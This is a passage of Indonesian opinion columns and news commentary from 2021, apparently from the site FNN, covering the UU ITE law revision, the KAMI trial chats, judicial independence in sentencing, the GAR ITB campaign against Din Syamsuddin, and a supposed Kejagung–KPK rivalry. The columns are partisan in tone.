akomodatif pada aspirasi rakyat adalah suatu keniscayaan. Pilihan ini hanya untuk menopang langkah Pemerintah terlihat yang semakin melemah dari hari ke hari. Sebaliknya, jika kritik dan revisi terhadap UU ITE hanya merupakan permainan politik, maka langkah lemah itu justru akan menambah goyahnya pemerintahan. Sehingga akhirnya ambruk tak bisa tertolong. Butuh pembuktian dan itikad baik. Caranya dengan membuka pintu kritik dan revisi UU ITE adalah langkah serius untuk melanjutkan dengan demokratis lain, seperti pembebasan aktivis yang kritis. Begitu juga dengan perubahan kinerja aparat penegak hukum ke arah yang lebih manusiawi dan berkeadilan. Tanpa ada langkah demokratis lanjutan, maka membuka pintu kritik dan revisi UU ITE hanya merupakan bualan politik dan sandiwara babak berikutnya saja. Penulis adalah Pemerhati Politik dan Kebangsaan.

Lepas Radikalisme, Din Syamsudin Bakal Dibidik via KAMI?

By Mochamad Toha Surabaya, FNN - Saat kasus “radikalisme” Din Syamsudin sedang ramai diberitakan, dalam sidang terdakwa Deklarator KAMI Syahganda Nainggolan, nama Din Syamsudin dan Abdullah Hehamahua dimunculkan oleh ahli digital forensic Bareskrim Polri, Herman Fransiskus. Herman dihadirkan jaksa dalam sidang kasus penghasutan demo berujung ricuh di Jakarta dengan terdakwa Syahganda Nainggolan. Herman mengungkapkan isi chat Din Syamsuddin hingga Abdullah Hehamahua dalam grup WhatsApp (WA) 'Deklarator KAMI'. Seperti dilansir Detik.com, Kamis (18 Feb 2021 18:48 WIB), awalnya, jaksa Paris Manalu meminta Herman mencarikan chat dari 3 nomor handphone yang tergabung dalam grup WA 'Deklarator KAMI'. Dari hasil pencarian nomor yang disebutkan jaksa, ditemukan 3 nama, yakni 'Hehamahua KAMI', 'Din Syamsudin', dan 'Nina Bahri ketemu di Bawaslu'. Sebelumnya, barang bukti digital ini diambil dari handphone milik Syahganda yang bertindak sebagai admin grup. Kembali ke hasil pencarian, saksi ahli menemukan beberapa chat dari nomor Hehamahua. Salah satu isi chat itu, sebut Herman, memuat saran agar KAMI membentuk tim kecil guna menemui Presiden Joko Widodo. “Jadi, saya meminta supaya ahli mencari dari nomor HP 085882359*** untuk ditampilkan dan saudara ahli menjelaskan apa isinya,” ujar jaksa Paris dalam persidangan di PN Depok, Jawa Barat. Herman menyebut, jika misalkan ia search dari nomor tersebut, ada di (BAP) 382, nomor tersebut mengirimkan chat di dalam WhatsApp tersebut dengan kata-kata (sebagai berikut),” balas Herman. Herman kemudian membacakan isi chat Hehamahua berisi saran pembentukan tim kecil oleh Presidium KAMI. Salah satu pesannya adalah rencana meminta Jokowi mundur apabila terjadi kericuhan demo seperti pada 8 Oktober 2020 di Jakarta. “Saran: Kalau besok terjadi kondisi seperti tanggal 8 Oktober 2020 atau lebih parah, maka Presidium membentuk Tim Kecil (sekitar 7 orang) untuk menemui Presiden guna meminta beliau mengundurkan diri dan menyerahkan kekuasaan ke Wakil Presiden.” “Wakil Presiden bertugas untuk berkoordinasi dengan MPR dalam menyiapkan sidang umum istimewa MPR untuk antara lain menetapkan kembali ke UUD 45 asli,” ungkap Herman saat membacakan chat Hehamahua di BAP. “Untuk maksud tsb, perlu ada pembagian tugas di antara Presidium, Komite Khusus dan Komite Eksekutif dan melobi beberapa pihak mengenai hal tsb. Misalnya, Pak Gatot melobi Pak Moeldoko, Pak Din melobi KH Ma'ruf Amin dan Pak Rachmat melobi Pak Mahfud MD,” ujar Herman. “Saya insya’ Allah akan melobi Ketua MPR. Pak Bachtiar bisa melobi Menko Ekonomi. Demikian dan terima kasih. Itu pada tanggal 12-10-2020 pukul 05.23.42 PM,” lanjutnya, mengutip isi chat tersebut. Herman kemudian membacakan lagi dua chat lain dari Hehamahua di grup itu. Chat tersebut berisi soal gerakan mahasiswa dan rekrutmen anggota KAMI yang asal comot. “Maaf saya keliru. Cuma, setahu saya, gerakan mahasiswa sejak 65, 74, 77, dan 98 semuanya adalah gerakan moral dan berhasil melengserkan Soekarno dan Soeharto,” ujar Herman kala membacakan chat kedua. “Maaf, memang kurang taktis. Cuma, saya tidak pernah menjadi orang munafik dalam berjuang sejak mahasiswa. Satu pelajaran yang saya petik di grup ini, ternyata rekrutmen anggota pendukung KAMI dan peserta grup WA ini, tidak secure alias asal comot,” lanjutnya membacakan chat ketiga dari Hehamahua. Herman tidak menjelaskan soal konteks chat tersebut. Dia hanya diminta jaksa menjelaskan isi chat dari hasil pencarian nomor yang ternyata memunculkan nomor milik 'Hehamahua KAMI'. Selain itu, jaksa meminta saksi ahli menjelaskan isi chat dari nomor 'Nina Bahri ketemu di Bawaslu' dan Din Syamsudin. Herman membacakan chat Din di grup 'Deklarator KAMI' soal permintaan agar pendukung KAMI untuk menahan diri melihat situasi saat itu. “Dear all, sehubungan dengan dinamika dan eskalasi situasi dan sdh mulai ada gerakan mendeskreditkan KAMI. Diminta kpd semua utk dapat menahan diri,” ucap Herman membacakan bagian chat Din. Dalam sidang ini, terdakwa Syahganda Nainggolan hadir secara virtual. Selaku hakim ketua adalah Ramon Wahyudi, sementara penasihat hukum dipimpin Abdullah Alkatiri. Tim jaksa dihadiri Putri Dwi Astrini, Syahnan Tanjung, Paris Manalu, dan Maylany Wuwung. Dalam perkara ini, Syahganda Nainggolan didakwa menyebarkan berita bohong terkait kasus penghasutan demo menolak omnibus law yang berujung ricuh di Jakarta. Ia didakwa melanggar Pasal 14 ayat 1 Nomor 1 Tahun 1946 tentang Peraturan Hukum Pidana dan atau Pasal 14 ayat (2) dan Pasal 15 UU Nomor 1 Tahun 1946 tentang Peraturan Hukum Pidana. Dalam pasal ini, Syahganda terancam pidana penjara 10 tahun. Adakah pengungkapan chat Din Syamsudin di grup ‘Deklarator KAMI’ itu bakal dijadikan “pintu masuk” untuk menyeret mantan Ketum PP Muhammadiyah ini setelah manuver GAR ITB yang melaporkan Din ke KASN dianggap “gagal”? Apalagi, belakangan muncul dan beredar “Laporan Keuangan Proyek DinS dari GAR ITB Tanggal 1 Februari 2021” di medsos dengan rincian penggunaanya, dan asal dana pemasukan “Proyek DinS” tersebut. Pemasukan Proyek: Donasi individual dari 71 orang alumni ITB Rp 41.834.579,00; Donasi komunitas dari para alumni ITB Angkatan 1973 Rp 8.451.082,00; Pendapatan bunga tabungan Rp 35.399. Jumlah total pemasukan proyek sekitar Rp 50.000.000,00. Pengeluaran Proyek di antaranya: Biaya pasang dan penjagaan spanduk PECAT DS tgl 9 Juni 2020: Rp 5.260.000,00; Biaya 3 buah papan “Dukung Brimob Polri” tgl 12 Des 2020: Rp 2.850.000,00; Biaya 1 buah papan bunga “Dukung Mengkopolhukam” tgl 30 Des 2020: Rp 1.300.000,00; Biaya pasang 4 buah spanduk "GAR Dukung Unpad" tgl 5-6 Jan 2021: Rp 2.000.000,00; Biaya 1 buah papan bunga “Dukung Program Vaksinasi” tgl 13 Jan 2021: Rp 1.400.000,00; Biaya rilis & Surat GAR kpd Satgas SKB-11 Menteri tgl 19 Jan 2021: Rp 1.408.000,00; Biaya operasional delegasi GAR ke Menteri PAN-RB tgl 21 Jan 2021: Rp 645.000,00; Biaya rilis & kirim Surat GAR kpd KASN ttg DinS tgl 28 Jan 2021: Rp 1.300.000,00; Biaya 1 bh papan bunga "Dukung SE Menpan RB" tgl 29 Jan 2021: Rp 850.000,00; Biaya media release Surat GAR kepada KASN ttg DinS tgl 30 Jan 2021: Rp 1.000.000,00. Jumlah Biaya Langsung: Rp 34.586.600,00; Jumlah Biaya Tak Langsung: Rp 964.079,89. Jumlah Total Pengeluaran Proyek: Rp 35.550.679,89; Saldo Dana Proyek DinS Terakhir: Rp 14.770.380,59. Melansir KOMPAS.TV, Juru bicara Gerakan Anti Radikal (GAR) alumni Institut Teknologi Bandung (ITB) Shinta Madesari membantah, menuding mantan Ketua PP Muhammadiyah Din Syamsuddin sebagai sosok radikal. “Kami tidak menuduh Pak Din radikal. Teman-teman di Muhammadiyah belum baca detil laporannya, jadi ambil kesimpulan masing-masing," kata Shinta saat diwawancara "Kompas Petang" di Kompas TV, Sabtu (13/2/2021). Shinta juga mengatakan bahwa laporannya sudah masuk ke Komisi Aparatur Sipil Negara (KASN). “Ya jadi nanti yang memutuskan KASN. Mau ditindaklanjuti atau tidak,” katanya pasrah. Sebelumnya, GAR Alumni ITB melaporkan Din Syamsuddin ke KASN, dalam surat nomor 05/Lap/GAR-ITB/X/2020 pada 28 Oktober 2020, perihal Laporan pelanggaran Disiplin PNS atas nama Terlapor Prof. Dr.. H.M. Sirajuddin Syamsuddin, MA, PhD. Dan, surat nomor 10/Srt/GAR-ITB/I/2021 pada 28 Januari 2021, perihal Hukuman disiplin PNS a/n Prof. Dr. H.M. Sirajuddin Syamsuddin, MA, PhD. Ada enam poin laporan GAR Alumni ITB ke KASN. 1. GAR menganggap Din bersikap konfrontasi terhadap lembaga negara dan keputusannya. Peristiwa ini dicatat GAR ITB pada 29 Juni 2019; 2. Din dicap mendiskreditkan pemerintah, menstimulasi perlawanan pada pemerintah, berisiko terjadinya proses disintegrasi bangsa; 3. Din dituding melakukan framing menyesatkan kepada pemahaman masyarakat umum. Ia berupaya mencederai kredibilitas pemerintahan RI yang sah; 4. GAR ITB menyoal posisi Din sebagai PNS yang menjadi pemimpin kelompok yang beroposisi pada pemerintah. Hal ini terjadi saat deklarasi KAMI pada 18 Agustus 2020; 5. Din dinilai telah menyebarkan kebohongan, fitnah, dan mengagitasi publik agar bergerak melakukan perlawanan terhadap pemerintahan yang sah; 6. Din dituding berupaya mengeksploitasi sentimen agama. Menkopolhukam Mahfud MD membenarkan ada sekelompok alumni ITB menemui Menpan RB Tjahjo Kumolo. Namun, lanjutnya, Tjahjo hanya mendengarkan saja.“Pemerintah tidak menindaklanjuti laporan itu, apalagi memproses,” kata Mahfud, Sabtu (13/2/2021). *** Penulis wartawan senior FNN.co.id

Ikhtiar Menemukan Keadilan Humanitas (Bagian-2)

Tulisan ini adalah bagian kedua dari catatan akademis singkat terhadap buah pikiran Prof. Dr. H. Muhammad Syarifuddin SH. MH., teman sesama alumni Fakultas Hukum Universitas Islam Indonesia (UII) Yogyakarta, terkait pidato pengukuhan sebagai Guru Besar Tidak Tetap Universitas Diponegoro, dengan judul “Pembaruan Sistem Pemidanaan Dalam Praktik Peradilan Modern : Pendekatan Heurestika Hukum”. by Prof. Dr. Syaiful Bahri SH. MH. Jakarta FNN – Prof. Dr. M. Muhammad Syarifuddin SH. MH meyakini bahwa Heuristika dapat diimplementasikan dalam hukum. Sebab hukum adalah sistem yang dinamis dan bersegi banyak. Dinamis dalam arti bahwa hukum senantiasa berubah dan bergerak mengikuti perkembangan zaman. Hukum selalu mengikuti kebutuhan berhukum di masyarakat. Bersegi banyak berarti hukum bukanlah sesuatu yang sifatnya tunggal. Sebaliknya, hukum terbentuk dan berdinamika sedemikian rupa. Karena dipengaruhi oleh faktor-faktor di luarnya, seperti faktor politik, ekonomi, sosial, budaya, psikologi, dan agama (Syarifuddin, 2021: 22). Dalam mengimplementasikan gagasan tersebut, pandangan saya sebagai kolega yang bersangkatan adalah terletak pada hakim itu sendiri. Hal ini menyangkut isyu tentang kemandirian hakim dalam menjatuhkan suatu putusan. Terutama dalam menjatuhkan putusan hakin yang berkaitan erat dengan pidana dalam perkara-perkara korupsi. Pemidanaan bermaksud untuk menegakkan kemaslahatan, perdamaian, serta kebahagiaan untuk seluruh manusia. “Tidaklah seseorang yang berdosa akan memikul dosa orang lain. Kami tidak akan menghukum, hingga Kami utus Rasul terlebih dahulu” (Q.S. 17 ayat (15). Pidana sebagai nestapa yang dikenakan negara kepada seseorang yang melakukan pelanggaran terhadap ketentuan undang-undang. Pidana dijatuhkan secara sengaja agar dirasakan sebagai nestapa. Ukuran kenestapaan pidana yang patut diterima oleh seseorang merupakan persoalan yang tidak terpecahkan. Pidana baru dirasakan secara nyata apabila sudah dilaksanakan secara efektif. Tujuan-tujuannya tidaklah semata-mata dengan jalan menjatuhkan pidana tetapi dengan jalan menggunakan tindakan-tindakan (Saleh, 1983: 9). Tujuan hukum pidana adalah untuk melindungi masyarakat dari perbuatan sekunder, yakni apakah perbuatan pidana itu betul-betul harus dijatuhi hukuman. Karena secara primer hukum pidana, berguna untuk menginsafkan perbuatan yang keliru agar tidak mengulangi lagi perbuatannya. Dalam hukum pidana terkandung asas kemasyarakatan dan perikemanusiaan yang merupakan sendi-sendi negara kita. Itu berarti perbuatan pidana dan pertanggungjawaban dalam hukum pidana, laksana dua mercusuar yang memancarkan sinarnya di atas samudera yang gelap dan berbahaya. Sehingga para pelayar dalam menuju pangkalannya diharapkan tiba dengan selamat dan berbahagia. Karenanya dua pangkal sinar itu harus selalu diawasi dan diikuti. Sebab jika tidak, bukan kebahagiaan yang akan dialami, sebaliknya kesengsaran dan kesewenang-wenangan (Moelyatno, 2008: 27). Setiap pemidanaan yang dijatuhkan oleh peradilan, dengan aktor utamanya adalah hakim pidana, selalu mendapatkan perhatian di masyarakat. Terutama terhadap tingkat kepuasan dan keseriusan dari pemidanaan tersebut. Apakah suatu alat pembalasan ataukah alat pembinaan dalam kehidupan masyarakat Indonesia yang beragam warna warni “keadilan” yang dimaknainya. Disinilah pertemuan pemikiran falsafah Pancasila sebagai pengendali emosi dan hasrat keadilan di relung paling dalam dan suci dari para hakim pidana dalam memberikan kemuliaannya. Menilai peristiwa konkrit dengan tulus ikhlas. Tanpa adanya tanpa muatan-muatan apapun. Hanya dengan hasrat keadilan, hakim dapat membenarkan putusan-putusan pemidanaannya (Bakhri, 2016 : 4). Dalam budaya hukum pidana barat, hakim pidana, karena kepercayaan yang diberikan padanya, menikmati kewenangan yang cukup luas. Kewenangan yang berkenaan dengan penetapan hukuman. Kebebasan itu tidak hanya terhadap pilihan-pilihan bentuk pemidanaan semata. Namun juga terhadap berat ringannya pidana yang dijatuhkan. Patokan berat ringannya pemidanaan, berdasarkan pada patokan tentang tingkat keseriusan dari perbuatan. Juga latar belakang situasi dan kondisi yang melingkupi pelaku ketika melakukan tindak pidana. Karena itu sangat mendapatkan perhatian tentang sejumlah panduan, atau berkaitan dengan sejumlah ciri-ciri yang terkait dengan kejahatan tersebut. Hakim dapat menyimpangi ketentuan perundang-undangan, dengan memberikan alasannya (Kelk, 2012: 69). Tidak ada batas yang jelas atas kebebasan yudisial, bukan berarti hakim tidak terikat dengan peraturan. Tetapi dalam arti kreasinya, hakim menafsirkan bunyi undangundang dan menilai fakta dalam kerangka menyusun nalar hukum. Putusan yang tidak adil, tidak manusiawi dan sebagainya, yang konotasinya bertentangan dengan nilai-nilai keadilan dan harapan masyarakat, secara teknis tercakup dalam kategori salah dalam menerapkan hukum. Hakim bisa salah. Tetapi hakim dengan keyakinannya dapat menilai relevansi, signifikasi dan realibiltas fakta, serta bukti untuk menentukan terjadi atau tidak terjadinya peristiwa pidana. Sehingga hakim dalam menentukan hukuman, apakah mengukum atau membebaskan dari segala dakwaan (Asmara, 2011: 11). Jaminan yang diberikan kepada seorang hakim, sangatlah penting keberadaannya. Penting guna tercapainya tujuan hukum, dalam hal ini hukum pidana dan ruang lingkup sistem peradilan pidana. Kebebasan hakim didasarkan kepada kemandirian dan kekuasaan kehakiman di Indonesia, telah dijamin dalam konstitusi Indonesia. Independensi hakim diartikan sebagai bebas dari pengaruh eksekutif maupun segala kekuasaan negara lainnya. Kebebasan dari paksaan, direktiva, atau rekomendasi yang datang dari pihak-pihak ekstra yudisiil, kecuali dalam hal-hal yang di izinkan undang-undang. Mengenai penyelenggaraan pengadilan, walaupun kekuasaan kehakiman, karena kedudukannya yang bebas dan bertanggungjawab, tidaklah boleh Hakim menyalahgunakan kedudukannya yang bebas itu. Karena hakim terikat pada syarat-syarat tertentu yang harus diindahkannya saat menunaikan tugasnya. Syarat-syarat yang telah ditentukan oleh hukum yang berlaku, untuk memberi jaminan-jaminan bagi suatu penyelenggaraan peradilan yang layak dan adil. Kebebasan hakim diartikan sebagai kemandirian atau kemerdekaan. Dalam arti adanya kebebasan penuh dan tidak adanya intervensi dalam kekuasaan kehakiman. Hakim bebas dari campur tangan kekuasaan, bersih dan berintegritas serta profesional. Pada hakikatnya kebebasan ini merupakan sifat pembawaan dari setiap peradilan dalam mewujudkan keadilan berdasarkan Ketuhanan Yang Maha Esa. Hakim bukan hanya sekedar berperan memantapkan kepastian hukum, melainkan juga keadilan hukum. Sehingga setiap Hakim bersifat spiritual. Secara lahiriah, terdapat tanggung jawab hakim secara batiniah, Bertanggungjawab pada hukum, diri sendiri dan kepada rakyat, serta lebih jauh pada Tuhan Yang Maha Esa. Sehingga dalam merumuskan tujuan hukum yang sesungguhnya, tidak dirumuskan dalam kata-kata, tetapi dipahami dan dihayati, karena bersumber pada hati nurani manusia (Bakhri, 2016: 27). Habis. Penulis adalah Rektor Universitas Muhammadiyah Jakarta.

Rezim Bani Berudu Bengak Buyan & Lolo

by Tarmidzi Yusuf Bandung FNN – Setelah itu kalian akan dipimpin oleh para penguasa yang berkata bukan berdasar landasan ilmu, dan berbuat bukan berdasar landasan ilmu. Barang siapa menjadi penasihat mereka, pembantu mereka, dan pendukung mereka, berarti ia telah binasa dan membinasakan orang lain. Hendaklah kalian bergaul dengan mereka secara fisik. Namun janganlah perbuatan kalian mengikuti kelakuan mereka. Persaksikan siapa yang berbuat baik diantara mereka sebagai orang yang berbuat baik, dan orang yang berbuat buruk diantara mereka sebagai orang yang berbuat buruk. (HR. Ath-Thabrani, Silsilah al-Ahadits al-Shahihah no. 457) Orang Palembang menyebut penguasa, penasihat, pembantu dan pendukung mereka seperti diungkap dalam hadits di atas sebagai bengak, buyan dan lolo, yang disingkat BBL. "Maka tatkala mereka melupakan peringatan yang telah diberikan kepada mereka, Kamipun membukakan semua pintu-pintu kesenangan untuk mereka, sehingga apabila mereka bergembira dengan apa yang telah diberikan kepada mereka, Kami siksa mereka dengan sekonyong-konyong, maka ketika itu mereka terdiam berputus asa." (QS. al-An'am: 44) Dalam tafsir al-Madinah al-Munawwarah/Markaz Ta'dzhim al-Qur'an di bawah pengawasan Syaikh Prof. Dr. Imad Zuhair Hafidz, Professor Fakultas al-Qur'an Universitas Islam Madinah menjelaskan ayat di atas: فَلَمَّا نَسُوا۟ مَا ذُكِّرُوا۟ بِهِۦ (Maka tatkala mereka melupakan peringatan yang telah diberikan kepada mereka). Yakni meninggalkan kesadaran setelah peringatan dengan kemiskinan dan kemelaratan dan mereka malah berpaling dari peringatan tersebut. فَتَحْنَا عَلَيْهِمْ أَبْوٰبَ كُلِّ شَىْءٍ (Kamipun membukakan semua pintu-pintu kesenangan untuk mereka) Kami memberi mereka istidraj (jebakan berupa limpahan rezeki karena bermaksiat) dengan membuka pintu-pintu kenikmatan bagi mereka. حَتَّىٰٓ إِذَا فَرِحُوا۟ بِمَآ أُوتُوٓا۟ (sehingga apabila mereka bergembira dengan apa yang telah diberikan kepada mereka) Berupa kenikmatan-kenikmatan dengan berbagai jenisnya, lalu mereka merasa senang dan penuh keangkuhan dan kesombongan serta merasa bahwa mereka diberi kenikmatan karena kekafiran mereka merupakan jalan yang benar. أَخَذْنٰهُم بَغْتَةً (Kami siksa mereka dengan sekonyong-konyong) Yakni dengan tiba-tiba, dan mereka tidak menyangka kedatangannya. فَإِذَا هُم مُّبْلِسُونَ (maka ketika itu mereka terdiam berputus asa) Yakni sedih dan putus asa dari hal yang baik karena buruknya keadaan yang menimpa mereka. Rezim bani berudu sedang mendapat istidraj, salahsatunya kekuasaan yang mereka peroleh hari ini karena kemaksiatan mereka. Tiba-tiba mata mereka terbelalak karena buruknya keadaan yang bakal menimpa mereka. Wallahua'lam bish-shawab. Penulis adalah Pegiat Da’wah dan Sosial.

Hati-Hati, GAR ITB Menyerempet Isu SARA

ADA yang menduga Gerakan Anti Radikalisme (GAR) alumni ITB adalah “mainan” yang sengaja diciptakan untuk mengacaukan ketenangan di kampus. Ada kelompok kecil orang dengan latar belakang etnis dan agama tertentu yang dijadikan pion-pion pengacau. Akhir-akhir ini mereka mempersoalkan kemenonjolan aktivitas dan peranan civitas academica yang berlatar belakang Islam. Ini sangat berbahaya. Tidak pernah ada persoalan di antara semua orang dari latar belakang apa pun, selama ini. Jumlah civitas academica Institus Teknologi Bandung (ITB) mayoritas adalah warga muslim. Baik di kalangan dosen maupun mahasiswa. Tentu tidak ada masalah dengan proporsi ini. Sebagian besar perguruan tinggi, baik PTN (perguruan tinggi negeri) maupun PTS (perguruan tinggi swasta), pastilah memiliki fakta demografi (kependudukan) yang sama seperti di ITB. Sebab, memang seperti itulah fakta kependudukan Indonesia. Inilah statistik proporsional yang tak terelakkan. Adalah fakta juga bahwa warga muslim menyandang keperluan-keperluan relijiusitas yang khusus selama mereka berada di lingkungan kampus. Misalnya, mereka memerlukan masjid atau surau. Mereka melaksanakan kegiatan pengajian di masjid maupun surau. Banyak pula yang harus melaksanakan berbagai aktivitas bersama (berjemaah) pada bulan Ramadan di masjid kampus termasuk berbuka puasa, dll. Rata-rata dalam implementasi keperluan khusus itu, para civitas academica muslim di mana pun juga nyaris tidak pernah mengalami masalah dengan sesama warga kampus yang non-muslim. Selama puluhan tahun telah terbangun pengertian di antara segenap komponen non-muslim di kampus-kampus tentang keperluan khusus relijiusitas dimaksud. Selama puluhan tahun itu pula tidak pernah ada gesekan yang bernuansa SARA. Pengertian yang terbangun itu sangat sesuai dengan dasar negara Indonesia –Pancasila. Negara ini memang bukan negara agama. Tetapi negara ini harus diisi oleh orang-orang yang memegang sila Ketuhanan Yang Maha Esa (KYME). Para pendiri negara ini bersepakat bahwa KYME merupakan sila terpenting yang harus mendasari proses pembangunan bangsa di segala aspek. Bagi warga muslim, KYME itu adalan pelaksanaan ibadan sholat lima kali dalam sehari. Kalau KYME biasa disebut sebagai esensi Pancasila, maka sholat lima waktu sehari adalah esensi KYME itu. Untuk tetap bisa menjaga esensi Ketuhanan itu, diperlukanlah tempat sholat yang layak dan nyaman. Secara historis, tempat sholat inilah yang menjadi bagian integral dari kegiatan akademik sejak awal-awal Indonesia mengenal pendidikan tinggi modern. Masjid-masjid kampus boleh dikatakan sama usianya dengan perguruan tinggi setempat. Sesuatu yang telah integral sifatanya berdasarkan fakta demografis dan faktor filosofis (Pancasila), tentunya sudah menjadi baku dengan sendirinya di kampus-kampus. Belakangan ini berkembang sesutau yang terasa sangat tidak natural. Ada elemen-elemen yang mencoba mengutak-atik “kesepakatan” historis ini. Dan cara mereka mempersoalkan fakta sejarah ini sangatlah tendensius. Cara itulah yang sedang dipresentasikan oleh Gerakan Anti Radikalisme (GAR) alumni Institut Teknologi Bandung (ITB). GAR masuk melalui isu yang sangat seksi saat ini. Yaitu, radikalisme. Isu ini tidak saja seksi tetapi juga sensitif bagi kaum muslimin. Sebab, di tengah gelombang islamofobia akhir-akhir ini, GAR “menembak” Prof Din Syamsuddin dengan tudingan radikalisme. Tetapi, akal sehat yang ada di semua pihak membuat pembunuhan karakter (character assassination) terhadap Pak Din tidak berhasil. Tidak ada pihak yang memberikan peluang kepada GAR ITB. Tentu ini bukan karena faktor Din Syamsuddin sendiri yang terbukti bukan seorang radikal seperti ditudingkan oleh gerakan alumni itu, melainkan juga karena semua pihak memahami fakta domografis dan fakta historis bangsa ini. Penolakan terhadap argumentasi GAR ITB tentang Pak Din merupakan isyarat bahwa mereka adalah gerombolan yang sangat berbahaya. Semua pihak memahami bahwa jika skenario gerombolan ini dibiarkan, maka akan terbuka kemungkinan munculnya percikan konflik SARA yang tak perlu terjadi. Kalaulah pembunuhan karakter Din Syamsuddin sukses, GAR ITB diperkirakan akan menulari kampus-kampus lain. Sengaja atau tidak, sangat mungkin akan berlangsung orkestrasi kegaduhan yang berpunca dari fakta demografis dan historis kampus-kampus Indonesia yang selama ini sudah sangat lazim dengan keperluan khusus para civitas academica (dosen dan mahasiswa). GAR ITB tidak hanya mempersoalkan “keradikalan” Pak Din, tetapi juga program Beasiswa Perintis 2021 yang diberikan oleh perusahaan kosmetik Wardah produksi Paragon milik Nuhayati Subakat –salah seorang anggota Majelis Wali Amanat (MWA) ITB. Program beasiswa ini bekerja sama dengan pengelola Masjid Salman ITB. GAR mencecar habis soal ini. Mereka mempertanyakan mengapa beasiswa itu diberikan kepada para calon mahasiswa muslim saja. Melihat latarbelakang para inisiator GAR ITB, tak salah kalau orang menyimpulkan kelompok alumni itu berangkat dari niat buruk. Lagi-lagi, masalah ini sangat peka (sensitif) dari kaca mata hubungan antargolongan. Jadi, dari dua hal di atas, patut diduga GAR ITB telah menyiapkan misi yang menyerempet isu-isu SARA. Semua pihak harus berhati-hati.

Pertarungan Kejagung Versus KPK?

by M. Rizal Fadillah Bandung FNN - Tentu aneh jika dua lembaga penegak hukum ditempatkan pada posisi saling bertarung. Akan tetapi jika kekuasaan politik ikut menentukan penegakan hukum, maka bukan mustahil antar lembaga penegak hukum tersebut pun dapat saling berkompetisi bahkan berkonfrontasi. Kepentingan politik yang tampil memperalat hukum. Kejaksaan Agung (Kejagung) yang memiliki ruang lingkup penyelidikan luas, termasuk kasus korupsi. Sementara Komisi Pemberatasan Korupsi (KPK) khusus untuk mengusut kasus-kasus korupsi. Batas pilihan penanganan oleh Kejaksaan maupun KPK ternyata tipis-tipis saja. Korupsi dengan nilai di bawah satu miliar memang ditangani Polisi dan Kejaksaan. Sementara KPK tugasnya melakukan pengawasan dan supervisi terhadap penangan korupsi yang dilakukan Polisi dan Kejaksaan. Perpres Nomor 102 tahun 2020 memberi kewenangan kepada KPK mengambil alih penanganan korupsi untuk keadaan tertentu. Jadi, dalam kondisi PKP berwewenang untuk mengambi alih tugas-tugas Kejaksaan dan Polisi, khususnya kasus-kasus korupsi. Kejaksaan juga dapat menangani kasus korupsi yang di atas satu milyar rupiah. Kini saja Kejagung menangani kasus korupsi Jiwasraya dengan angka kerugian negara Rp 16,81 triliun. Sementara kasus PT Asabri mencapai Rp 23,73 triliun. Kejagung pun didorong untuk mengusut dana BPJS Ketenagakerjaan yang ditaksir senilai Rp 43 trilyun. Kenapa tidak KPK ya? Ada apa dengan KPK? KPK melalui Dewan Pengawas adalah "tangan Presiden" sementara Kejaksaan dengan Jaksa Agung ST Burhanuddin adalah "milik PDIP". Sebelumnya Jaksa Agung itu kepanjangan tangan Partai Nasdem. Disinilah akar pertarungan bermula. Ada nuansa politik meski samar. Begitu keras perebutan antara Nasdem dengan PDIP soal Jaksa Agung saat penyusunan kabinet dahulu. Nasdem ngotot mempertahankan posisi Jaksa Agung untuk kadernya HM. Prasetyo. Namun PDIP tidak mundur setengah incipun untuk menguasai posisi Jaksa Agung. Nasdem sedikit mengalah, dengan opsi tetap di posisi Jaksa Agung untuk kurun waktu satu sampai dua tahun. Tetapi PDIP tetap ngotot untuk ambil Jaksa Agung, sehingga jadilah ST Burhanuddin, adik dari TB Hasanudin. Kasus Jiwasraya sangat menohok Istana. Demikian juga dengan Asabri. Karenanya Istana melalui KPK "membalas" dengan mengusut kader PDIP Harun Masiku dalam kasus suap Komisioner KPU Wahyu Setiawan. Sebenarnya sudah merembet ke petinggi PDIP yang lain. Hanya saja dengan hilangnya Harun Masiku, membuat terhenti rembetan tersebut. Misteri besar dari muncul dari kasus ini Harun Masiku tersebut. Istana menyerang terus PDIP melalui kasus bantuan Sosial (Bansos) yang membawa penangkapan dan proses hukum Mensos Juliari Peter Batubara, kader PDIP. Selain Juliari Batubara, sejumlah kader dan petinggi PDIP yang lain kemungkinan besar bakalan terseret kasus korupsi Bansos tersebut. Melalui kesaksian dalam pemeriksaan kasus korupsi Bansos disebut, keterlibatan lingkungan Istana "Anak Pak Lurah" lalu sodokan lagi menuju "Madam" dari PDIP. Proses hukum masih berjalan, hanya belum terkuak rinci sampai kepada "Anak Pak Lurah" maupun "Madam". Publik menduga bargaining politik bisa saja terjadi. Konsekuensi jika penegakan hukum berada di bawah bayang-bayang politik. Jika akur, tentu Kejaksaan dalam proses pengusutan Jiwasraya, Asabri, maupun BPJS Ketenagakerjaan semestinya melibatkan KPK. Namun dalam prakteknya, Kejaksaan berjalan sendiri. Karenanya wajar timbul kecurigaan tersebut. Dalam kasus mega korupsi ketiga institusi di atas, mudah dipastikan akan keterlibatan kekuasaan. Tetapi dalam menarik keterlibatan lingkungan istana sangat minim. Disini terkesan ada "tarik ulur" dan "tekan menekan". Bangsa dan rakyat Indonesia berharap KPK dan Kejaksaan bisa melepaskan kepentingan politik yang mendasari kerja keduanya. Bahkan satu dengan lain seharusnya dapat bekerjasama. Jika berlomba pun dalam rangka berprestasi untuk membongkar dan memberantas korupsi sampai ke akar-akarnya. Bukan menjadi alat untuk "bargaining politik". Rakyat bertanya-tanya, sampai kapan Kejagung akan bertarung dengan KPK? Sebab justru yang dirugikan adalah rakyat. Uangnya telah dirampok habis oleh para penjahat besar dari kalangan penguasa dan penguasa. Koruptor, terminator, dan predator. Pepatah menyatakan gajah bertarung dengan gajah, pelanduk mati ditengahnya. Penulis adalah Pemerhati Politik dan Kebangsaan.

Menanggapi Tulisan Bernada Buzzer Penghina Kwik Kian Gie

